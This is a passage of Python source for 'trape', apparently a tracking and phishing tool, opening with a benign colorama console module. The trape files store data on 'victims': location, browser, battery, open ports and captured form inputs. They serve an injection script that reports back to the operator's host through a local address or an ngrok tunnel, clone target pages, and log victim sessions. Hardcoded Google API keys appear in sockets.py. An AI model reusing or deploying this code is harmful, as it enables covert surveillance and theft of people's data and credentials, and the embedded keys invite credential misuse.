attribute = wintypes.WORD(attr) 147 | length = wintypes.DWORD(length) 148 | num_written = wintypes.DWORD(0) 149 | # Note that this is hard-coded for ANSI (vs wide) bytes. 150 | return _FillConsoleOutputAttribute( 151 | handle, attribute, length, start, byref(num_written)) 152 | 153 | def SetConsoleTitle(title): 154 | return _SetConsoleTitleW(title) 155 | -------------------------------------------------------------------------------- /core/colorama/winterm.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from . import win32 3 | 4 | 5 | # from wincon.h 6 | class WinColor(object): 7 | BLACK = 0 8 | BLUE = 1 9 | GREEN = 2 10 | CYAN = 3 11 | RED = 4 12 | MAGENTA = 5 13 | YELLOW = 6 14 | GREY = 7 15 | 16 | # from wincon.h 17 | class WinStyle(object): 18 | NORMAL = 0x00 # dim text, dim background 19 | BRIGHT = 0x08 # bright text, dim background 20 | BRIGHT_BACKGROUND = 0x80 # dim text, bright background 21 | 22 | class WinTerm(object): 23 | 24 | def __init__(self): 25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes 26 | self.set_attrs(self._default) 27 | self._default_fore = self._fore 28 | self._default_back = self._back 29 | self._default_style = self._style 30 | # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style. 31 | # So that LIGHT_EX colors and BRIGHT style do not clobber each other, 32 | # we track them separately, since LIGHT_EX is overwritten by Fore/Back 33 | # and BRIGHT is overwritten by Style codes. 34 | self._light = 0 35 | 36 | def get_attrs(self): 37 | return self._fore + self._back * 16 + (self._style | self._light) 38 | 39 | def set_attrs(self, value): 40 | self._fore = value & 7 41 | self._back = (value >> 4) & 7 42 | self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) 43 | 44 | def reset_all(self, on_stderr=None): 45 | self.set_attrs(self._default) 46 | self.set_console(attrs=self._default) 47 | 48 | def fore(self, fore=None, light=False, on_stderr=False): 49 | if fore is None: 50 | fore = self._default_fore 51 | self._fore = fore 52 | # Emulate LIGHT_EX with BRIGHT Style 53 | if light: 54 | self._light |= WinStyle.BRIGHT 55 | else: 56 | self._light &= ~WinStyle.BRIGHT 57 | self.set_console(on_stderr=on_stderr) 58 | 59 | def back(self, back=None, light=False, on_stderr=False): 60 | if back is None: 61 | back = self._default_back 62 | self._back = back 63 | # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style 64 | if light: 65 | self._light |= WinStyle.BRIGHT_BACKGROUND 66 | else: 67 | self._light &= ~WinStyle.BRIGHT_BACKGROUND 68 | self.set_console(on_stderr=on_stderr) 69 | 70 | def style(self, style=None, on_stderr=False): 71 | if style is None: 72 | style = self._default_style 73 | self._style = style 74 | self.set_console(on_stderr=on_stderr) 75 | 76 | def set_console(self, attrs=None, on_stderr=False): 77 | if attrs is None: 78 | attrs = self.get_attrs() 79 | handle = win32.STDOUT 80 | if on_stderr: 81 | handle = win32.STDERR 82 | win32.SetConsoleTextAttribute(handle, attrs) 83 | 84 | def get_position(self, handle): 85 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition 86 | # Because Windows coordinates are 0-based, 87 | # and win32.SetConsoleCursorPosition expects 1-based. 88 | position.X += 1 89 | position.Y += 1 90 | return position 91 | 92 | def set_cursor_position(self, position=None, on_stderr=False): 93 | if position is None: 94 | # I'm not currently tracking the position, so there is no default. 95 | # position = self.get_position() 96 | return 97 | handle = win32.STDOUT 98 | if on_stderr: 99 | handle = win32.STDERR 100 | win32.SetConsoleCursorPosition(handle, position) 101 | 102 | def cursor_adjust(self, x, y, on_stderr=False): 103 | handle = win32.STDOUT 104 | if on_stderr: 105 | handle = win32.STDERR 106 | position = self.get_position(handle) 107 | adjusted_position = (position.Y + y, position.X + x) 108 | win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) 109 | 110 | def erase_screen(self, mode=0, on_stderr=False): 111 | # 0 should clear from the cursor to the end of the screen. 112 | # 1 should clear from the cursor to the beginning of the screen. 113 | # 2 should clear the entire screen, and move cursor to (1,1) 114 | handle = win32.STDOUT 115 | if on_stderr: 116 | handle = win32.STDERR 117 | csbi = win32.GetConsoleScreenBufferInfo(handle) 118 | # get the number of character cells in the current buffer 119 | cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y 120 | # get number of character cells before current cursor position 121 | cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X 122 | if mode == 0: 123 | from_coord = csbi.dwCursorPosition 124 | cells_to_erase = cells_in_screen - cells_before_cursor 125 | if mode == 1: 126 | from_coord = win32.COORD(0, 0) 127 | cells_to_erase = cells_before_cursor 128 | elif mode == 2: 129 | from_coord = win32.COORD(0, 0) 130 | cells_to_erase = cells_in_screen 131 | # fill the entire screen with blanks 132 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 133 | # now set the buffer's attributes accordingly 134 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 135 | if mode == 2: 136 | # put the cursor where needed 137 | win32.SetConsoleCursorPosition(handle, (1, 1)) 138 | 139 | def erase_line(self, mode=0, on_stderr=False): 140 | # 0 should clear from the cursor to the end of the line. 141 | # 1 should clear from the cursor to the beginning of the line. 142 | # 2 should clear the entire line. 143 | handle = win32.STDOUT 144 | if on_stderr: 145 | handle = win32.STDERR 146 | csbi = win32.GetConsoleScreenBufferInfo(handle) 147 | if mode == 0: 148 | from_coord = csbi.dwCursorPosition 149 | cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X 150 | if mode == 1: 151 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 152 | cells_to_erase = csbi.dwCursorPosition.X 153 | elif mode == 2: 154 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 155 | cells_to_erase = csbi.dwSize.X 156 | # fill the entire screen with blanks 157 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 158 | # now set the buffer's attributes accordingly 159 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 160 | 161 | def set_title(self, title): 162 | win32.SetConsoleTitle(title) 163 | -------------------------------------------------------------------------------- /core/db.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #** 4 | # 5 | ######### 6 | # trape # 7 | ######### 8 | # 9 | # trape depends of this file 10 | # For full copyright information this visit: https://github.com/jofpin/trape 11 | # 12 | # Copyright 2018 by Jose Pino (@jofpin) / 13 | #** 14 | import sqlite3 15 | import os.path as path 16 | 17 | 18 | class Database(object): 19 | def __init__(self): 20 | self.firstTime = not(path.exists("database.db")) 21 | self.conn = sqlite3.connect("database.db", check_same_thread=False) 22 | self.cursor = self.conn.cursor() 23 | 24 | def loadDatabase(self): 25 | self.cursor.execute("""CREATE TABLE IF NOT EXISTS "geo" ( `id` TEXT, `city` TEXT, `country_code` TEXT, `country_name` TEXT, `ip` TEXT, `latitude` TEXT, `longitude` TEXT, `metro_code` TEXT, `region_code` TEXT, `region_name` TEXT, `time_zone` TEXT, `zip_code` TEXT, `isp` TEXT, `ua` TEXT, `connection` TEXT, `latitude_browser` TEXT, `longitude_browser` TEXT, `refer` TEXT, PRIMARY KEY(`id`) )""") 26 | self.cursor.execute("""CREATE TABLE IF NOT EXISTS "networks" ( `id` TEXT, `ip` TEXT, `public_ip` INTEGER, `network` TEXT, `date` TEXT )""") 27 | self.cursor.execute("""CREATE TABLE IF NOT EXISTS "requests" ( `id` TEXT, `user_id` TEXT, `site` TEXT, `fid` TEXT, `name` TEXT, `value` TEXT, `date` TEXT )""") 28 | self.cursor.execute("""CREATE TABLE IF NOT EXISTS "victims" ( `id` TEXT, `ip` TEXT, `date` TEXT, `time` REAL, `bVersion` TEXT, `browser` TEXT, `device` TEXT, `cpu` TEXT, `ports` TEXT, `status` TEXT )""") 29 | self.cursor.execute("""CREATE TABLE IF NOT EXISTS "victims_data" ( `id` TEXT, `name` TEXT, `last_online` date, `gpu` TEXT, `donottrack` TEXT, `navigation_mode` TEXT)""") 30 | self.cursor.execute("""CREATE TABLE IF NOT EXISTS "victims_battery" ( `id` TEXT, `charging` TEXT, `time_c` REAL, `time_d` REAL, `level` REAL)""") 31 | self.cursor.execute("""CREATE TABLE IF NOT EXISTS "clicks" ( `id` TEXT, `site` TEXT, `date` TEXT )""") 32 | self.cursor.execute("""CREATE TABLE IF NOT EXISTS "hostsalive" ( `id` TEXT, `remote_ip` TEXT, `ping` TEXT, `date` TEXT )""") 33 | self.conn.commit() 34 | return True 35 | 36 | def sql_execute(self, sentence): 37 | if type(sentence) is str: 38 | self.cursor.execute(sentence) 39 | else: 40 | self.cursor.execute(sentence[0], sentence[1]) 41 | return self.cursor.fetchall() 42 | 43 | def sql_one_row(self, sentence, column): 44 | if type(sentence) is str: 45 | self.cursor.execute(sentence) 46 | else: 47 | self.cursor.execute(sentence[0], sentence[1]) 48 | return self.cursor.fetchone()[column] 49 | 50 | def sql_insert(self, sentence): 51 | if type(sentence) is str: 52 | self.cursor.execute(sentence) 53 | else: 54 | self.cursor.execute(sentence[0], sentence[1]) 55 | self.conn.commit() 56 | return True 57 | 58 | def prop_sentences_stats(self, type, vId = None): 59 | return { 60 | 'get_data' : "SELECT victims.*, geo.id, geo.city, geo.country_code, geo.country_name, geo.ip, geo.latitude, geo.longitude, geo.metro_code, geo.region_code, geo.region_name, geo.time_zone, geo.zip_code, geo.isp, geo.ua, victims.ip AS ip_local, COUNT(clicks.id), geo.connection, clicks.site, geo.refer, victims_data.last_online, victims_data.name, victims_battery.charging, victims_battery.time_c, victims_battery.time_d, victims_battery.level FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id LEFT JOIN victims_battery ON victims_battery.id = victims.id LEFT JOIN victims_data ON victims_data.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC", 61 | 'all_networks' : "SELECT networks.* FROM networks ORDER BY id", 62 | 'get_preview' : ("SELECT victims.*, geo.id, geo.city, geo.country_code, geo.country_name, geo.ip, geo.latitude, geo.longitude, geo.metro_code, geo.region_code, geo.region_name, geo.time_zone, geo.zip_code, geo.isp, geo.ua, victims.ip AS ip_local, geo.connection, geo.latitude_browser, geo.longitude_browser, victims_battery.charging, victims_battery.time_c, victims_battery.level, victims_battery.time_d, victims_data.navigation_mode, victims_data.donottrack, victims_data.last_online, victims_data.name, victims_data.gpu FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN victims_battery ON victims_battery.id = victims.id LEFT JOIN victims_data ON victims_data.id = victims.id WHERE victims.id = ?" , vId), 63 | 'id_networks' : ("SELECT networks.* FROM networks WHERE id = ?", vId), 64 | 'get_requests' : "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ", 65 | 'get_sessions' : "SELECT COUNT(*) AS Total FROM networks", 66 | 'get_clicks' : "SELECT COUNT(*) AS Total FROM clicks", 67 | 'get_online' : ("SELECT COUNT(*) AS Total FROM victims WHERE status = ?", vId), 68 | 'get_hostsalive' : ("SELECT hostsalive.* FROM hostsalive WHERE id = ?", vId), 69 | 'get_socialimpact' : ("SELECT networks.network, COUNT(DISTINCT networks.id) AS Sessions, COUNT(DISTINCT geo.id) AS Locations, COUNT(DISTINCT clicks.id) AS Interactions FROM networks LEFT JOIN geo ON networks.id = geo.id AND geo.latitude_browser <> '' LEFT JOIN clicks ON networks.id = clicks.id GROUP BY networks.network ORDER BY Sessions DESC, Interactions DESC, Locations DESC, network") 70 | }.get(type, False) 71 | 72 | def sentences_stats(self, type, vId = None): 73 | return self.sql_execute(self.prop_sentences_stats(type, vId)) 74 | 75 | def prop_sentences_victim(self, type, data = None): 76 | if type == 'count_victim': 77 | t = (data,) 78 | return ("SELECT COUNT(*) AS C FROM victims WHERE id = ?" , t) 79 | elif type == 'count_times': 80 | t = (data,) 81 | return ("SELECT COUNT(*) AS C FROM clicks WHERE id = ?" , t) 82 | elif type == 'update_victim': 83 | t = (data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online', data[1],) 84 | return ("UPDATE victims SET ip = ?, date = ?, bVersion = ?, browser = ?, device = ?, ports = ?, time = ?, cpu = ?, status = ? WHERE id = ?", t) 85 | elif type == 'update_victim_geo': 86 | t = (data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[1],) 87 | return ("UPDATE geo SET city = ?, country_code = ?, country_name = ?, ip = ?, latitude = ?, longitude = ?, metro_code = ?, region_code = ?, region_name = ?, time_zone = ?, zip_code = ?, isp = ?, ua=? WHERE id = ?", t) 88 | elif type == 'insert_victim': 89 | t = (data[1], data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online',) 90 | return ("INSERT INTO victims(id, ip, date, bVersion, browser, device, ports, time, cpu, status) VALUES(?,?, ?,?, ?,?, ?, ?, ?, ?)", t) 91 | elif type == 'insert_victim_data': 92 | t = (data[0], '', 'online', '{}', '', '',) 93 | return ("INSERT INTO victims_data(id, name, last_online, gpu, donottrack, navigation_mode) VALUES(?, ?, ?, ?, ?, ? )", t) 94 | elif type == 'insert_victim_battery': 95 | t = (data[0], '', 0, 0, 100,) 96 | return ("INSERT INTO victims_battery(id, charging, time_c, time_d, level) VALUES(?, ?, ?, ?, ?)", t) 97 | elif type == 'insert_victim_geo': 98 | t = (data[1], data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua,data[0].refer,) 99 | return ("INSERT INTO geo(id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua, refer) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)" , t) 100 | elif type == 'count_victim_network': 101 | return ("SELECT COUNT(*) AS C FROM networks WHERE id = ? AND network = ?", (data[0], data[1],)) 102 | elif type == 'delete_networks': 103 | return ("DELETE FROM networks WHERE id = ?", (data[0],)) 104 | elif type == 'update_network': 105 | return ("UPDATE networks SET date = ? WHERE id = ? AND network = ?" , (data[2], data[0], data[1],)) 106 | elif type == 'insert_networks': 107 | t = (data[0], data[1], data[2], data[3], data[4],) 108 | return ("INSERT INTO networks(id, public_ip, ip, network, date) VALUES(?,?, ?, ?,?)" , t) 109 | elif type == 'insert_requests': 110 | t = (data[0].sId, data[0].id, data[0].site, data[0].fid, data[0].name, data[0].value, data[1],) 111 | return ("INSERT INTO requests(id, user_id, site, fid, name, value, date) VALUES(?, ?,?, ?, ?,?, ?)" , t) 112 | elif type == 'insert_click': 113 | return ("INSERT INTO clicks(id, site, date) VALUES(?, ?,?)", (data[0], data[1], data[2],)) 114 | elif type == 'report_online': 115 | return ("UPDATE victims SET status = ? WHERE id = ?" , ('online', data[0],)) 116 | elif type == 'clean_online': 117 | return ("UPDATE victims SET status = ? ", ('offline',)) 118 | elif type == 'clean_online': 119 | return ("UPDATE victims SET status = ? WHERE ", ('offline',)) 120 | elif type == 'clean_usersnoping': 121 | return ("UPDATE victims SET status = ? WHERE victims.id IN (SELECT id FROM victims_data WHERE julianday(CURRENT_TIMESTAMP) - julianday(replace(victims_data.last_online, ' - ', 'T')) >= ?)", ('offline', 0.2087,)) 122 | elif type == 'disconnect_victim': 123 | return ("UPDATE victims SET status = ? WHERE id = ?" , ('offline', data,)) 124 | elif type == 'location_victim': 125 | return ("UPDATE geo SET latitude_browser = ?, longitude_browser = ? WHERE id = ?" , (data[1], data[2], data[0])) 126 | elif type == 'connection_victim': 127 | return ("UPDATE geo SET connection = ?, refer = ? WHERE id = ?" , (data[1], data[2], data[0])) 128 | elif type == 'update_battery': 129 | return ("UPDATE victims_battery SET " + data[2] + " = ? WHERE id = ?" , (data[1], data[0])) 130 | elif type == 'update_navigationmode': 131 | return ("UPDATE victims_data SET navigation_mode = ?, donottrack = ? WHERE id = ?" , (data[1], data[2], data[0])) 132 | elif type == 'update_lastping': 133 | return ("UPDATE victims_data SET last_online = ? WHERE id = ?" , (data[1], data[0],)) 134 | elif type == 'update_name': 135 | return ("UPDATE victims_data SET name = ? WHERE id = ?" , (data[1], data[0],)) 136 | elif type == 'delete_hostalive': 137 | return ("DELETE FROM hostsalive WHERE id = ?" , (data,)) 138 | elif type == 'register_hostalive': 139 | return ("INSERT INTO hostsalive (id, remote_ip, ping, date) VALUES(?,?,?,?)" , (data[0], data[1], data[2], data[3])) 140 | elif type == 'delete_victim': 141 | return ("DELETE FROM victims WHERE id = ?" , (data,)) 142 | elif type == 'delete_geo': 143 | return ("DELETE FROM geo WHERE id = ?" , (data,)) 144 | elif type == 'update_localIp': 145 | return ("UPDATE victims SET ip = ? WHERE id = ?" , (data[1], data[0],)) 146 | elif type == 'update_gpu': 147 | return ("UPDATE victims_data SET gpu = ? WHERE id = ?" , (data[1], data[0],)) 148 | else: 149 | return False 150 | 151 | def sentences_victim(self, type, data = None, sRun = 1, column = 0): 152 | if sRun == 2: 153 | return self.sql_insert(self.prop_sentences_victim(type, data)) 154 | elif sRun == 3: 155 | return self.sql_one_row(self.prop_sentences_victim(type, data), column) 156 | else: 157 | return self.sql_execute(self.prop_sentences_victim(type, data)) 158 | 159 | def __del__(self): 160 | self.conn.close() -------------------------------------------------------------------------------- /core/dependence/__init__.py: -------------------------------------------------------------------------------- 1 | pass -------------------------------------------------------------------------------- /core/ngrok.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #** 4 | # 5 | ######### 6 | # trape # 7 | ######### 8 | # 9 | # trape depends of this file 10 | # For full copyright information this visit: https://github.com/jofpin/trape 11 | # 12 | # Copyright 2018 by Jose Pino (@jofpin) / 13 | #** 14 | import sys 15 | import os, platform 16 | import subprocess 17 | import socket 18 | import os.path as path 19 | from multiprocessing import Process 20 | 21 | class ngrok(object): 22 | def __init__(self, authtoken, port, nT, hash): 23 | if authtoken: 24 | self.token = authtoken 25 | else: 26 | print "Can't use Ngrok without a valid token" 27 | system_type = os.name 28 | system_name = platform.system() 29 | system_architecture = platform.architecture()[0] 30 | 31 | str_ngrok = './ngrok' 32 | if "nt" in system_type: 33 | str_ngrok = './ngrok.exe' 34 | 35 | if path.exists(str_ngrok): 36 | pass 37 | else: 38 | import urllib2 39 | 40 | if "posix" in system_type: 41 | if "arwin" in system_name: 42 | if "64" in system_architecture: 43 | download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-darwin-amd64.zip" 44 | else: 45 | download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-darwin-386.zip" 46 | else: 47 | if "64" in system_architecture: 48 | download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip" 49 | else: 50 | download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip" 51 | elif "nt" in system_type: 52 | if "64" in system_architecture: 53 | download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip" 54 | else: 55 | download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-386.zip" 56 | else: 57 | sys.exit(0) 58 | 59 | filename = "ngrok.zip" 60 | 61 | download = urllib2.urlopen(download_link) 62 | saved_file=file(filename,"w") 63 | saved_file.write(download.read()) 64 | saved_file.close() 65 | 66 | result = subprocess.check_output(["unzip", filename]) 67 | os.remove(filename) 68 | 69 | subprocess.check_output([str_ngrok, "authtoken", authtoken]) 70 | 71 | if nT > 0: 72 | pNg = Process(target=start_ngrok, args=(str(port), hash, 1)) 73 | pNg.start() 74 | 75 | def start_ngrok(port, hash, f=0): 76 | if f != 0: 77 | str_ngrok = './ngrok' 78 | system_type = os.name 79 | if "nt" in system_type: 80 | str_ngrok = './ngrok.exe' 81 | result = subprocess.check_output([str_ngrok, "http", port, '-log', hash + '.nlog']) 82 | print result -------------------------------------------------------------------------------- /core/sockets.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #** 4 | # 5 | ######### 6 | # trape # 7 | ######### 8 | # 9 | # trape depends of this file 10 | # For full copyright information this visit: https://github.com/jofpin/trape 11 | # 12 | # Copyright 2018 by Jose Pino (@jofpin) / 13 | #** 14 | from socket import gethostname, gethostbyname 15 | from threading import Lock 16 | from flask import Flask, render_template, session, request, json 17 | from flask_socketio import SocketIO, emit, join_room, rooms, disconnect 18 | import core.stats 19 | import core.user 20 | from user_objects import attacks_hook_message 21 | from core.utils import utils 22 | from core.db import Database 23 | import sys 24 | 25 | # Main parts, to generate relationships among others 26 | trape = core.stats.trape 27 | app = core.stats.app 28 | 29 | # call database 30 | db = Database() 31 | 32 | async_mode = None 33 | socketio = SocketIO(app, async_mode=async_mode) 34 | thread = None 35 | thread_lock = Lock() 36 | 37 | db.sentences_victim('clean_online', None, 2) 38 | 39 | def background_thread(): 40 | count = 0 41 | 42 | @socketio.on("join", namespace="/trape") 43 | def join(message): 44 | try: 45 | join_room(message['room']) 46 | session['receive_count'] = session.get('receive_count', 0) + 1 47 | except Exception as error: 48 | pass 49 | 50 | @socketio.on("my_room_event", namespace="/trape") 51 | def send_room_message(message): 52 | try: 53 | session['receive_count'] = session.get('receive_count', 0) + 1 54 | hookAction = attacks_hook_message(message['data']['type']) 55 | utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "@" + utils.Color['white'] + "]" + " " + hookAction + utils.Color['blue'] + message['data']['message'] + utils.Color['white'] + ' in ' + utils.Color['green'] + message['room'] + utils.Color['white']) 56 | emit('my_response', {'data': message['data'], 'count': session['receive_count']},room = message['room']) 57 | except Exception as error: 58 | pass 59 | 60 | @socketio.on("disconnect_request", namespace="/trape") 61 | def disconnect_request(d): 62 | try: 63 | session['receive_count'] = session.get('receive_count', 0) + 1 64 | emit('my_response', {'data': 'Disconnected!', 'count': session['receive_count']}) 65 | utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "-" + utils.Color['white'] + "]" + utils.Color['red'] + " " + "A victim has closed her connection with the following id:" + " " + utils.Color['green'] + d['vId'] + utils.Color['white']) 66 | db.sentences_victim('disconnect_victim', d['vId'], 2) 67 | except Exception as error: 68 | pass 69 | 70 | @socketio.on("error", namespace="/trape") 71 | def socket_def_error(d): 72 | pass 73 | 74 | @socketio.on_error("/trape") 75 | def error_handler(e): 76 | pass 77 | 78 | @app.route("/" + trape.home_path) 79 | def home(): 80 | gMaps_free_api_key = 'AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM' 81 | if (trape.gmaps != ''): 82 | gMaps_free_api_key = trape.gmaps 83 | 84 | shorten_api = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' 85 | 86 | html = trape.injectCSS_Paths(render_template("home.html", async_mode=socketio.async_mode).replace('[OWN_API_KEY_HERE]', gMaps_free_api_key).replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[TRAPE_SRC]', trape.JSFiles[4]['src'])) 87 | return html 88 | 89 | if __name__ == 'core.sockets': 90 | try: 91 | socketio.run(app, host= '0.0.0.0', port=trape.app_port, debug=False) 92 | except KeyboardInterrupt: 93 | socketio.stop() 94 | trape.validateLicense.terminate() 95 | sys.exit(0) -------------------------------------------------------------------------------- /core/stats.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #** 4 | # 5 | ######### 6 | # trape # 7 | ######### 8 | # 9 | # trape depends of this file 10 | # For full copyright information this visit: https://github.com/jofpin/trape 11 | # 12 | # Copyright 2018 by Jose Pino (@jofpin) / 13 | #** 14 | from core.dependence import urllib2 15 | import sys 16 | import os 17 | from flask import Flask, render_template, session, request, json, redirect, url_for, send_from_directory 18 | from flask_cors import CORS 19 | from trape import Trape 20 | from core.db import Database 21 | 22 | # Main parts, to generate relationships among others 23 | trape = Trape(1) 24 | 25 | if getattr(sys, 'frozen', False): 26 | template_folder = os.path.join(sys._MEIPASS, 'templates') 27 | static_folder = os.path.join(sys._MEIPASS, 'static') 28 | app = Flask(__name__, template_folder=template_folder, static_folder=static_folder) 29 | else: 30 | app = Flask(__name__, template_folder='../templates', static_folder='../static') 31 | 32 | cors = CORS(app) 33 | 34 | # call database 35 | db = Database() 36 | 37 | # preview header tool in console 38 | trape.header() 39 | 40 | #print db.firstTime 41 | 42 | @app.route("/" + trape.stats_path) 43 | def index(): 44 | return trape.injectCSS_Paths(render_template("/login.html").replace('[LOGIN_SRC]', trape.JSFiles[2]['src']).replace('[LIBS_SRC]', trape.JSFiles[1]['src'])) 45 | 46 | @app.route("/" + trape.logout_path) 47 | def logout(): 48 | return trape.injectCSS_Paths(render_template("/login.html").replace('[LOGIN_SRC]', trape.JSFiles[2]['src']).replace('[LIBS_SRC]', trape.JSFiles[1]['src'])) 49 | 50 | @app.route("/login", methods=["POST"]) 51 | def login(): 52 | id = request.form['id'] 53 | if id == trape.stats_key: 54 | return json.dumps({'status':'OK', 'path' : trape.home_path, 'victim_path' : trape.victim_path, 'url_to_clone' : trape.url_to_clone, 'app_port' : trape.app_port, 'date_start' : trape.date_start, 'user_ip' : trape.localIp, 'logout': trape.logout_path, 'rm_path' : trape.remove_path}) 55 | else: 56 | return json.dumps({'status':'NOPE', 'path' : '/'}) 57 | 58 | @app.route("/get_data", methods=["POST"]) 59 | def home_get_dat(): 60 | 61 | db.sentences_victim('clean_usersnoping', None, 2) 62 | 63 | d = db.sentences_stats('get_data') 64 | n = db.sentences_stats('all_networks') 65 | 66 | rows = db.sentences_stats('get_clicks') 67 | c = rows[0][0] 68 | rows = db.sentences_stats('get_sessions') 69 | s = rows[0][0] 70 | vId = ('online', ) 71 | rows = db.sentences_stats('get_online', vId) 72 | o = rows[0][0] 73 | 74 | injectCode = '' 75 | if trape.nGrokUrl != '': 76 | injectCode = str(trape.nGrokUrl) + '/' + str(trape.injectURL) 77 | else: 78 | injectCode = str(trape.localIp) + ':' + str(trape.app_port) + '/' + str(trape.injectURL) 79 | 80 | return json.dumps({'status' : 'OK', 'd' : d, 'n' : n, 'c' : c, 's' : s, 'o' : o, "ic" : injectCode}) 81 | 82 | @app.route("/get_preview", methods=["POST"]) 83 | def home_get_preview(): 84 | vId = request.form['vId'] 85 | t = (vId,) 86 | d = db.sentences_stats('get_preview', t) 87 | n = db.sentences_stats('id_networks', t) 88 | h = db.sentences_stats('get_hostsalive', t) 89 | return json.dumps({'status' : 'OK', 'vId' : vId, 'd' : d, 'n' : n, 'h' : h}) 90 | 91 | @app.route("/get_title", methods=["POST"]) 92 | def home_get_title(): 93 | opener = urllib2.build_opener() 94 | html = opener.open(trape.url_to_clone).read() 95 | html = html[html.find('') + 7 : html.find('')] 96 | return json.dumps({'status' : 'OK', 'title' : html}) 97 | 98 | @app.route("/get_requests", methods=["POST"]) 99 | def home_get_requests(): 100 | d = db.sentences_stats('get_requests') 101 | 102 | return json.dumps({'status' : 'OK', 'd' : d}) 103 | 104 | @app.route("/get_socialimpact", methods=["POST"]) 105 | def home_get_socialimpact(): 106 | d = db.sentences_stats('get_socialimpact') 107 | 108 | return json.dumps({'status' : 'OK', 'd' : d}) 109 | 110 | 111 | @app.route("/" + trape.remove_path, methods=["POST"]) 112 | def home_rm_rows(): 113 | vId = request.form['vId'] 114 | db.sentences_victim('delete_victim', vId, 2) 115 | db.sentences_victim('delete_geo', vId, 2) 116 | db.sentences_victim('delete_networks', [vId], 2) 117 | return json.dumps({'status' : 'OK', 'id' : vId}) 118 | 119 | @app.route("/pn", methods=["POST"]) 120 | def home_putName(): 121 | vId = request.form['vId'] 122 | name = request.form['n'] 123 | db.sentences_victim('update_name', [vId, name], 2) 124 | return json.dumps({'status' : 'OK', 'id' : vId}) 125 | 126 | @app.route("/" + trape.injectURL) 127 | def inject(): 128 | mPath = '' 129 | if getattr(sys, 'frozen', False): 130 | mPath = sys._MEIPASS + '/' 131 | 132 | f_codeToInject = open(mPath + "static/js/inject.js","r") 133 | codeToInject = f_codeToInject.read().replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[BASE_SRC]', trape.JSFiles[0]['src']).replace('[LURE_SRC]', trape.JSFiles[3]['src']) 134 | f_codeToInject.close() 135 | 136 | server_code = '' 137 | if trape.nGrokUrl != '': 138 | server_code = str(trape.nGrokUrl) 139 | else: 140 | server_code = str(trape.localIp) + ':' + str(trape.app_port) 141 | 142 | codeToInject = codeToInject.replace('[HOST_ADDRESS]', server_code) 143 | codeToInject = codeToInject.replace('[YOUR_GMAPS_API_KEY]', trape.gmaps) 144 | return codeToInject 145 | 146 | @app.route("/static/js/") 147 | def busted(JSFile): 148 | code = '' 149 | mPath = '' 150 | if getattr(sys, 'frozen', False): 151 | mPath = sys._MEIPASS + '/' 152 | for obj in trape.JSFiles: 153 | if str(obj['src']) == str(JSFile): 154 | s_code = open(mPath + "static/js/" + obj['path'],"r") 155 | code = s_code.read() 156 | s_code.close() 157 | break 158 | if code != '': 159 | return code 160 | else: 161 | return render_template('404.html') 162 | 163 | @app.route("/styles/") 164 | def style_redirect(CSSFile): 165 | code = '' 166 | for obj in trape.CSSFiles: 167 | if str(obj['src']) == str(CSSFile): 168 | code = obj['path'] 169 | break 170 | return redirect(code) 171 | 172 | @app.route("/static/files/") 173 | def file_redirect(File): 174 | uploads = os.path.join(os.getcwd(), './') 175 | return send_from_directory(directory=uploads, filename=File) 176 | 